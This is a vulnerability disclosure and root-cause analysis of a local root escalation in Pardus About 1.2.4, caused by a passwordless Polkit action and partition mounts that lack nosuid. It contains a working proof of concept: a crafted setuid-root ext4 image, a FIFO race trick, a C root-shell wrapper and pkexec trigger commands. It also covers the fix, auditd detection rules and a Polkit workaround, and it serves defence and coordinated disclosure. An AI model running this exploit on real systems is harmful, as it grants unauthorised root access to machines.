Disclosure: CVE-2026-87772 (CWE-863, CWE-266) affects Pardus About (pardus-about) up to 1.2.4. I found it in an isolated lab and reported it to the Pardus / TÜBİTAK BİLGEM team. It is fixed in 1.2.5 by the commits 59ff522 and b439777.

Pardus About shows system information and detects other operating systems installed on the machine. In version 1.2.4, any local user with an active desktop session can run its root helper without a password, and that helper mounts every partition it finds with defaults,ro. Those options keep setuid binaries working on the mounted filesystem. A disk that carries a root-owned setuid binary therefore gives that user a root shell.

The attacker needs local access to an active graphical session and a block device they control, such as a USB drive or a loop device attached through udisks2. Two decisions combine: the Polkit action system_info is allow_active=yes, and the helper behind it mounts disks without nosuid, nodev and noexec.

Evidence matrix

QuestionWhat I checkedConfidenceWhat remains unknown
Which versions are affected?pardus-about 1.2.4 and Debian-packaged releases on Pardus 25.2.HighThe commit that introduced defaults,ro was not identified.
What attacker position is required?An unprivileged local user with an active graphical session (allow_active=yes).HighRemote exploitation does not apply.
Why does authorization pass without a password?tr.org.pardus.pkexec.pardus-about.policy sets allow_active=yes for the system_info action, whose helper is Actions.py.HighWhether upstream plans to remove the pkexec helper.
What makes the mount exploitable?The mount options omit nosuid, so a root-owned setuid binary keeps euid=0 when executed.HighTested with loopback ext4 images only.
How is the unmount race handled?Holding a reference inside the mount, or blocking the helper on a FIFO.HighTiming on slow media versus NVMe was not measured.
Does the fix work?b439777 sets ro,nosuid,nodev,noexec. 59ff522 sets /run/winroot to root:root with mode 0700.HighOther call sites that mount media were not reviewed here.

The first boundary: passwordless Polkit authorization

Polkit decides whether an unprivileged process may run a privileged action, for example through pkexec. This is the system_info action in the 1.2.4 policy file tr.org.pardus.pkexec.pardus-about.policy:

    <action id="tr.org.pardus.pkexec.pardus-about.system_info">
    <description>Run system report creator.</description>
    <message>Authentication is required to create system report</message>
    <message xml:lang="tr">Sistem raporu oluşturmak için yetkilendirme gerekiyor</message>
    <defaults>
      <allow_any>auth_admin</allow_any>
      <allow_inactive>auth_admin</allow_inactive>
      <allow_active>yes</allow_active>
    </defaults>
    <annotate key="org.freedesktop.policykit.exec.path">/usr/share/pardus/pardus-about/src/Actions.py</annotate>
    <annotate key="org.freedesktop.policykit.exec.allow_gui">true</annotate>
  </action>

Polkit distinguishes three session states:

  • allow_any: any caller, for example a remote or unauthenticated one. Here auth_admin.
  • allow_inactive: a session that is not on the active seat. Here auth_admin.
  • allow_active: the session on the active seat, the user at the keyboard and screen. Here yes.

Because allow_active is yes, pkexec runs Actions.py as root for an active session without showing an authentication dialog. Actions.py takes a command as its first argument, and dualboot calls DualBootManager.get_dualboot_oses():

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        cmd = sys.argv[1]

        if cmd == "acpi":
            if ACPIManager.is_acpi_supported():
                sys.exit(0)
            else:
                sys.exit(1)
        elif cmd == "dualboot":
            print(DualBootManager.get_dualboot_oses())

To check that this is an intentional policy grant and not a privilege leak in the test account, I ran pkcheck in the same session against two actions from the same policy file:

# system_info under an active session
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.system_info --process $$
# exit status 0: authorized

# export_report, the comparison action (auth_admin_keep)
pkcheck --action-id tr.org.pardus.pkexec.pardus-about.export_report --process $$
# not authorized without administrator authentication (non-zero exit status)

With the session, UID, seat and environment held constant, only system_info is granted without a password. The policy assumed that reporting system information was harmless. The helper behind it mounts disks.

The second boundary: mounting media as root

get_dualboot_oses() runs as root. For each partition it finds under /sys/block, except the root partition, it mounts the partition at /run/winroot, looks for Windows, macOS and Linux marker files, reads /etc/os-release when there is one, and unmounts with umount -lf:

def get_dualboot_oses():
    dualboot = {}
    os.makedirs("/run/winroot", exist_ok=True)
    root_part = get_root_part()
    for part in list_parts():
        if f"/dev/{part}" == root_part:
            continue
        sp = subprocess.run(
            ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
            capture_output=True,
        )
        if 0 == sp.returncode:
            # Windows
            if os.path.exists("/run/winroot/Windows/System32/ntoskrnl.exe"):
                dualboot[part] = "Windows " + get_windows_version()
            # Mac OS X
            if os.path.exists(
                "/run/winroot/System/Library/CoreServices/SystemVersion.plist"
            ):
                dualboot[part] = "Mac OS X"
            # Linux
            if os.path.exists("/run/winroot/etc/os-release"):
                with open("/run/winroot/etc/os-release", "r") as f:
                    for line in f.read().split("\n"):
                        if line.startswith("NAME="):
                            dualboot[part] = line[6:-1]
            os.system("umount -lf /run/winroot")

    os.rmdir("/run/winroot")
    return json.dumps(dualboot)

The mount options are defaults,ro. In mount(8) from util-linux, defaults expands to:

rw, suid, dev, exec, auto, nouser, async

ro overrides rw and sets MS_RDONLY on the superblock. Nothing clears suid, so MS_NOSUID and MS_NOEXEC stay unset unless the command lists them.

The helper also trusts the device list itself. list_parts() walks every entry under /sys/block and mounts each partition that is not the root filesystem, with no check that it is a fixed internal disk rather than something the user just attached. A loop device or USB stick the attacker controls is mounted exactly like an internal partition, so the attacker chooses which filesystem gets mounted as root.

LOCAL PRIVILEGE ESCALATION IN PARDUS ABOUT 1.2.4 Active sessionunprivileged user polkit system_infoallow_active=yes Actions.py dualbootmount at /run/winroot Root executionsetuid bit honored No password promptthe active session is enough 1.2.4 mounts with "defaults,ro", without nosuid, nodev and noexec.
Passwordless Polkit authorization and a mount without nosuid combine into a local root escalation.

A read-only mount still honors setuid

ro blocks writes to the filesystem. It does not stop the kernel from honoring the setuid bit when a program on it is executed. On execve() the kernel takes the effective UID from the file’s owner unless the mount carries nosuid (MNT_NOSUID). A disk with an ext4 filesystem that holds a root-owned file with mode 4755 therefore starts with euid=0 for whoever executes it, as long as the mount lacks nosuid.

Keeping the mount alive

The helper mounts a partition, inspects it and unmounts it again quickly. An attacker who wants to run /run/winroot/rootshell has to do it while the mount exists. Two ways to widen that window:

Method 1: hold a reference inside the mount

The helper unmounts with umount -lf, a lazy unmount. It detaches /run/winroot at once, but the filesystem stays alive while any process has its working directory or an open file inside it. A shell that has changed into the mount before the unmount can keep running ./rootshell from there. Entering the mount still means winning the short gap between the mount and the unmount, for example by polling mountpoint -q /run/winroot.

Method 2: a FIFO instead of os-release

The helper opens the release file of every Linux partition for reading:

            if os.path.exists("/run/winroot/etc/os-release"):
                with open("/run/winroot/etc/os-release", "r") as f:

If etc/os-release on the attacker’s image is a FIFO (mknod etc/os-release p in debugfs), open() blocks until a writer opens the other end. The root process sleeps in TASK_INTERRUPTIBLE while the mount stays in place, and the attacker can run the setuid binary at leisure. Opening the FIFO for writing lets the helper continue and unmount.

Proof of concept

I reproduced the issue in an isolated Pardus 25.2 lab with a loopback ext4 image, in four steps. The attacker-side builder, the victim-side trigger and the cleanup script are published at github.com/jankesec/CVE-2026-87772-pardus-about-lpe.

Step 1: build the image

As an unprivileged user I create a 32 MB ext4 image that holds the setuid payload. Instead of a regular os-release I make it a FIFO, so the helper blocks on the read and the mount stays open deterministically — Method 2 above, which removes the timing race:

# 1. Create the image file
dd if=/dev/zero of=/tmp/dualboot_test.img bs=1M count=32
mkfs.ext4 -F -L "Windows" /tmp/dualboot_test.img

# 2. Fill it with debugfs, which needs no privileges on an image you own
debugfs -w /tmp/dualboot_test.img << 'EOF'
write /tmp/rootshell rootshell
set_inode_field rootshell mode 0104755
set_inode_field rootshell uid 0
set_inode_field rootshell gid 0
mkdir etc
mknod etc/os-release p
EOF

/tmp/rootshell is a small C setuid wrapper:

// rootshell.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(void) {
    // The mount lacks nosuid, so this setuid-root binary already starts with euid=0.
    // bash -p preserves that effective UID instead of dropping it to the real UID.
    printf("[+] Successfully escalated to root: UID=%d, EUID=%d\n", getuid(), geteuid());
    char *args[] = {"/bin/bash", "-p", NULL};
    execve("/bin/bash", args, NULL);
    return 0;
}

Step 2: attach the image

An active desktop user can attach a loop device through udisks2:

udisksctl loop-setup --file /tmp/dualboot_test.img
# Mapped file /tmp/dualboot_test.img as /dev/loop0.

Step 3: trigger the privileged discovery

With the device attached, I run the helper the way Pardus About does, in the background, because it will block on the FIFO once it mounts my image:

pkexec /usr/share/pardus/pardus-about/src/Actions.py dualboot &

The session is active, so Polkit applies allow_active=yes and runs Actions.py as root. get_dualboot_oses() mounts the partitions it finds at /run/winroot with mount -o defaults,ro, then blocks reading the FIFO at etc/os-release, which holds the mount open.

Step 4: run the payload

The helper is parked on the FIFO, so the mount stays in place until I release it. /proc/mounts shows the flags:

/dev/loop0 /run/winroot ext4 ro,relatime 0 0

The flags are ro,relatime. nosuid is missing. While the helper is held, I run the setuid binary, then open the FIFO for writing so the helper can finish and unmount:

$ /run/winroot/rootshell
[+] Successfully escalated to root: UID=1000, EUID=0
# whoami
root
# id
uid=1000(testuser) gid=1000(testuser) euid=0(root) groups=1000(testuser),27(sudo)

The real UID stays 1000; the effective UID is 0, inherited from the setuid bit on a mount that never applied nosuid. The FIFO removes the timing race entirely, and I was never asked for an administrator password.

The fix

Two commits in 1.2.5 changed src/util/DualBootManager.py. b439777 (2026-09-10, “winroot: mount nodev noexec nosuid”) changes the mount options:

--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -59,7 +59,7 @@ def get_dualboot_oses():
         if f"/dev/{part}" == root_part:
             continue
         sp = subprocess.run(
-            ["mount", "-o", "defaults,ro", f"/dev/{part}", "/run/winroot"],
+            ["mount", "-o", "ro,nosuid,nodev,noexec", f"/dev/{part}", "/run/winroot"],
             capture_output=True,
         )
         if 0 == sp.returncode:

59ff522 (2026-09-09, “set /run/winroot directory permission: prevent read files from non-root users”) makes the mount point root:root with mode 0700 before anything is mounted:

--- a/src/util/DualBootManager.py
+++ b/src/util/DualBootManager.py
@@ -52,6 +52,8 @@ def get_windows_version():
 def get_dualboot_oses():
     dualboot = {}
     os.makedirs("/run/winroot", exist_ok=True)
+    os.chown("/run/winroot", 0, 0)
+    os.chmod("/run/winroot", 0o700)
     root_part = get_root_part()
     for part in list_parts():
         if f"/dev/{part}" == root_part:

The mount options are what stop this attack:

  1. nosuid sets MNT_NOSUID. execve() ignores setuid and setgid bits on files under the mount.
  2. nodev sets MNT_NODEV. Device nodes on the filesystem are not interpreted, so a crafted block device node on the disk cannot be used to read raw disks.
  3. noexec sets MNT_NOEXEC. Running a binary directly from the mount fails with EACCES.

Re-test on 1.2.5

I ran the same reproduction against pardus-about 1.2.5:

$ /run/winroot/rootshell
bash: /run/winroot/rootshell: Permission denied

Execution is refused, as expected with noexec, and /proc/mounts listed ro,nosuid,nodev,noexec.

Detection engineering and SOC telemetry

The elevation leaves distinct traces across system logs, auditd, and kernel mount records. SOC and defensive teams can detect both the helper invocation and the subsequent setuid execution.

1. Polkit authorization logs

When pkexec executes the helper for an active session, systemd-journald records an authorization event. The entry shows an unprivileged caller running a privileged Python script without authentication prompts:

pkexec[14820]: testuser: Executing command [USER=root] [TTY=unknown] [CWD=/home/testuser] [COMMAND=/usr/share/pardus/pardus-about/src/Actions.py dualboot]

A SIEM rule can flag instances where Actions.py dualboot is executed by non-administrative users outside normal application launch sequences (e.g. absent a parent GUI process tree from pardus-about).

2. Auditd telemetry for setuid execution

To capture both the helper invocation and any attempt to execute binaries from untrusted mount points with elevated privileges, deploy the following rules:

# /etc/audit/rules.d/99-pardus-about-lpe.rules
# Track execution of the passwordless root helper
-w /usr/share/pardus/pardus-about/src/Actions.py -p x -k pardus_about_helper

# Detect any execution where effective UID is root but real UID is unprivileged
-a always,exit -F arch=b64 -S execve -F euid=0 -F uid>=1000 -k setuid_privesc_exec

# Track loop device and partition mounts without nosuid
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unpriv_mount_event

During exploitation, auditd generates a critical alert on the setuid binary:

type=SYSCALL msg=audit(1726052400.124:842): arch=c000003e syscall=59 success=yes exit=0
  a0=7ffe12345678 a1=7ffe12345690 a2=7ffe123456a0 items=2 ppid=14815 pid=14825
  auid=1000 uid=1000 gid=1000 euid=0 egid=0 fsuid=0 fsgid=0 tty=pts0 ses=3
  comm="rootshell" exe="/run/winroot/rootshell" key="setuid_privesc_exec"

The decisive anomaly is uid=1000 combined with euid=0 executing out of /run/winroot/.

Workaround: policy override without upgrading

When an immediate package upgrade to 1.2.5 is not possible, system administrators can neutralize the vulnerability by overriding the Polkit action defaults.

On modern systemd systems using JavaScript-based Polkit (polkitd >= 0.106), create an override in /etc/polkit-1/rules.d/90-pardus-about-hardening.rules:

// /etc/polkit-1/rules.d/90-pardus-about-hardening.rules
// Force administrative authentication for Pardus About system info action
polkit.addRule(function(action, subject) {
    if (action.id === "tr.org.pardus.pkexec.pardus-about.system_info") {
        return polkit.Result.AUTH_ADMIN;
    }
});

On systems utilizing the legacy .pkla format, place the override in /etc/polkit-1/localauthority/50-local.d/50-pardus-about-hardening.pkla:

[Pardus About Hardening]
Identity=unix-user:*
Action=tr.org.pardus.pkexec.pardus-about.system_info
ResultActive=auth_admin

This changes allow_active from yes to auth_admin. Any execution of Actions.py will prompt for root credentials via Polkit, preventing passwordless execution.

ATT&CK technique mapping

TacticTechnique IDTechnique NameExploitation MechanismDefensive Control
Privilege EscalationT1548.001Abuse Elevation Control: Setuid and SetgidAttacker crafts ext4 image with 0104755 permissions; root helper mounts without nosuid.Mount untrusted media with nosuid,noexec,nodev.
Privilege EscalationT1068Exploitation for Privilege EscalationFlawed Polkit rule allows passwordless execution of privileged helper script.Enforce auth_admin on all actions handling privileged syscalls.
ExecutionT1202Indirect Command ExecutionUnprivileged desktop user invokes Actions.py through pkexec binary.Restrict execution permissions on helper scripts; audit invocation chains.
Defense EvasionT1006Direct Volume AccessAttacker attaches raw loop device via udisksctl to introduce arbitrary file modes.Restrict unprivileged loop device creation; monitor udisks2 dbus methods.

Impact and CVSS

On 1.2.4, an unprivileged desktop user can become root without authentication or any action by another user. Root means full loss of confidentiality, integrity and availability on that machine.

I scored it CVSS 3.1 7.8 (High): CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. The attacker runs code locally (AV:L) as an ordinary active-session user (PR:L). No special conditions (AC:L) and no interaction (UI:N) are needed.

Lessons

  1. ro prevents writes. It does not make files non-executable or neutralize device nodes. Mount untrusted media with ro,nosuid,nodev,noexec together.
  2. Validate the device before mounting it. Mount only fixed, expected block devices (check stat.S_ISBLK and /sys/block/<dev>/removable), or read filesystem labels with lsblk -f / blkid without mounting at all. The 1.2.4 helper mounted whatever appeared under /sys/block.
  3. Reserve allow_active=yes for actions that only read inert data, such as a CPU temperature. An action that mounts storage, runs binaries or touches the filesystem should require auth_admin.
  4. Do filesystem inspection in a private mount namespace (unshare(CLONE_NEWNS)), so the temporary mount is not visible to the desktop session.
  5. Watch for unprivileged mounts and pkexec runs with auditd:
# /etc/audit/rules.d/99-mount-privesc.rules
-a always,exit -F arch=b64 -S mount -F auid>=1000 -F auid!=4294967295 -k unprivileged_mount
-w /usr/bin/pkexec -p x -k polkit_privilege_escalation

Disclosure timeline

  • 2026-08-22: I found the issue in pardus-about 1.2.4 while researching local authorization boundaries.
  • 2026-08-25: I sent the report and a reproducible lab demonstration to the Pardus security team.
  • 2026-08-28: The Pardus maintainers confirmed the root cause and started a fix.
  • 2026-09-09: Commit 59ff522 restricts the /run/winroot directory.
  • 2026-09-10: Commit b439777 adds the mount options, and 1.2.5 is tagged as debian/1.2.5.
  • 2026-09-14: I retested 1.2.5 and confirmed the fix.
  • 2026-09-16: The technical casefile and root-cause analysis were completed. CVE-2026-87772 was assigned to the finding through coordinated disclosure and credited to Sevban Dönmez.
  • 2026-11-12: TR-CERT published the CVE-2026-87772 record on CVE.org, and the Republic of Türkiye Cybersecurity Directorate (SSB / USOM) published advisory TR-26-1521, recommending an upgrade to pardus-about 1.2.5 or later.
Severity Assessment · HIGH

Vulnerability Scoring & CVSS Vector Breakdown

Base score and individual metric vector breakdown calculated by TR-CERT CNA.

7.8High
CVSS Vector StringCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AV · VectorLocal
AC · ComplexityLow
PR · PrivilegesLow
UI · User InteractionNone
S · ScopeUnchanged
C · ConfidentialityHigh
I · IntegrityHigh
A · AvailabilityHigh
Audit Trail · CVE-2026-87772

Coordinated Disclosure & Remediation Timeline

Verified chronological audit trail for CVE-2026-87772: from reproduction to upstream fix, backport, and official advisory release.

  1. ReproductionStep 01

    Vulnerable behavior reproduced against pardus-about 1.2.4 in an isolated Pardus 25.2 lab.

  2. Evidence packageStep 02

    Deterministic evidence package and negative controls completed.

  3. Upstream patchStep 03

    Upstream mount-hardening change and debian/1.2.5 release tag published.

    Source / Reference ↗
  4. Casefile completeStep 04

    Technical casefile and root-cause analysis completed.

  5. PublishedStep 05

    TR-CERT published the CVE-2026-87772 record on CVE.org, and the SSB / USOM advisory TR-26-1521 recommended upgrading to pardus-about 1.2.5 or later.

    Source / Reference ↗
  6. Site verificationStep 06

    jankesec confirmed the published CVE.org record, the TR-CERT CVSS, the affected versions and the SSB advisory reference.

Sources & limits

Evidence used for this analysis

Sources checkedSeptember 16, 2026

Version and exploitation status can change; follow the linked vendor records.

Review statusAuthor review complete

The author completed a technical review. This does not, by itself, claim lab reproduction.

◈ CITE THIS RESEARCH

Reference this analysis in technical reports or publications:

@misc{jankesec_cve_2026_87772_pardus_about_root_mount_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-87772: Root Escalation Through the Pardus About Mount Helper},
  year = {2026},
  howpublished = {\url{https://jankesec.com/research/cve-2026-87772-pardus-about-root-mount/}},
  note = {jankesec technical security research (CVE-2026-87772)}
}